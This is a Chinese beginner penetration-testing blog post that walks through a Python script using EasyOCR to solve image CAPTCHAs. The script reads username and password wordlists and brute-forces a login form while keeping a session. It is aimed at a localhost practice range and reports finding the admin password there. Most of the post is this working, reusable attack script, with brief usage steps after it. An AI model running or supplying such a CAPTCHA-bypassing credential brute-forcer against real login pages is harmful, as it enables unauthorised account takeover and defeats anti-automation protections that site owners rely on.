渗透测试入门学习——使用python脚本自动识别图片验证码,OCR技术初体验

写在前面

由于验证码在服务端生成后存储在服务器的session中,而标用于标识用户身份的sessionid存在于用户cookie中

所以本次识别验证码时需要用requests.session()创建会话对象,模拟真实的浏览器行为,保持与服务器的会话才能获取登录时服务器为用户生成验证码,也省去了手动在python代码中手动输入cookie的步骤

安装OCR库(需要python3.9)

Github地址:https://github.com/JaidedAI/EasyOCR

python 复制代码
pip install easyocr

相关代码

python 复制代码
import requests
import easyocr


# 填入请求地址
code_url = "http://localhost/yanzhengma.php"
login_url = "http://localhost/login.php"

bf_flag = False
# success为未知,但可以尝试出登陆失败的信息
success = ""
failure = ["你的验证码不正确,请重新输入","您输入的用户名不存在","密码错误,请重新输入"] 
count = 0
# easyocr相关初始化设置识别英文字母或数字,不输出详细运行信息
reader = easyocr.Reader(['en'])
# 由于验证码在服务端生成后存储在服务器的session中,而标用于标识用户身份的sessionid存在于用户cookie中
# 所以这里需要用requests.session()创建会话对象,模拟真实的浏览器行为,保持与服务器的会话才能获取登录时为用户生成验证码
session = requests.session()

with open("./user.txt", 'r') as file_usr:
    with open("./pswd.txt", 'r') as file_pwd:
        while not bf_flag:
            first = file_usr.readline()
            if not first:
                break
            # 在内层循环之前,重置文件指针到文件开头实现遍历
            file_pwd.seek(0)
            while not bf_flag:
                second = file_pwd.readline()
                if not second:
                    break
                first = first.strip()
                second = second.strip()
                count += 1
                # 用会话对象向浏览器发请求并将验证码图片保存
                img = session.get(url = code_url).content
                with open('./code.jpg','wb') as code_file:
                    code_file.write(img)
                # 识别验证码内容
                try:
                    result = reader.readtext('./code.jpg')
                    # 取出识别结果
                    target_code = [text for (_, text, _) in result][0]
                except:
                    print("第"+ str(count) +"次尝试--失败:识别出现错误")
                if len(target_code) < 4:
                    print("第" + str(count) + "次尝试--验证码识别出错")
                    print(target_code)
                response = session.post(url = login_url,
                                        data = {"name":first, "pwd":second, "yzm":target_code ,"login":"%E7%99%BB%E5%BD%95"})
                print(response.text)
                check_flag = True
                for context in failure:
                    if context in response.text:
                        print("第"+ str(count) +"次尝试--失败:",first + " " + second)
                        check_flag = False
                        break;
                if check_flag:
                    print("第"+ str(count) +"次尝试--成功:",first + " " + second)
                    bf_flag = True;
                    break;

使用方式

进入靶场随意尝试

发现是用POST方式进行的请求,请求地址为/login.php需要将此地址填入脚本相应位置

右键验证码部分查看生成验证码的请求地址

复制链接进行尝试,刷新一次即可得到一个随机的验证码,需要将此地址填入脚本相应位置

运行脚本等待结果,由于OCR识别会有各种各样的问题,有时需要重复跑几遍才能得到想要的结果

可以看到账号为admin密码为1234556时没有产生报错信息,暴力破解成功

相关推荐
zyplayer-doc4 小时前
VuePress类静态文档站和动态知识库怎么选:两种技术路线的适用场景
javascript·人工智能·后端·安全·智能手机
leisoo80975 小时前
100GBA股股票数据怎么存ClickHouseRedisMySQLJSON完整对比
大数据·linux·服务器·开发语言·python
KKKlucifer5 小时前
拨开接口黑盒迷雾:运营商第三方合作接口安全审计与准入管控落地实践
网络·人工智能·安全
WangYan20225 小时前
基于XGBoost与AI的生态—地学多源数据建模:植被与土地利用识别、土壤碳氮空间预测、生物多样性驱动机制、土壤微生物功能预测、生态退化与风险识别
python·机器学习·xgboost
青瓦梦滋6 小时前
传输层UDP/TCP协议
linux·网络·c++·网络协议·tcp/ip·udp
小绫网络安全6 小时前
【每日一讲】学习网络安全的一些注意事项
网络·安全·web安全
金銀銅鐵7 小时前
[Python] 借助 turtle 逐字展示唐诗《金缕衣》
python
seiji morisako8 小时前
Stable-Diffusion-v1-5-archiveWeb服务安全加固:反爬虫/限流/鉴权中间件配置
web安全·stable diffusion·nginx配置·ai部署
SamChan909 小时前
PDF翻译API的JWT签名鉴权与速率限制设计:安全实战指南
网络·安全·pdf
Atomic121389 小时前
CVE 漏洞复现通论:从漏洞情报到 Root Cause 分析的标准化实战指南
web安全·网络安全·渗透测试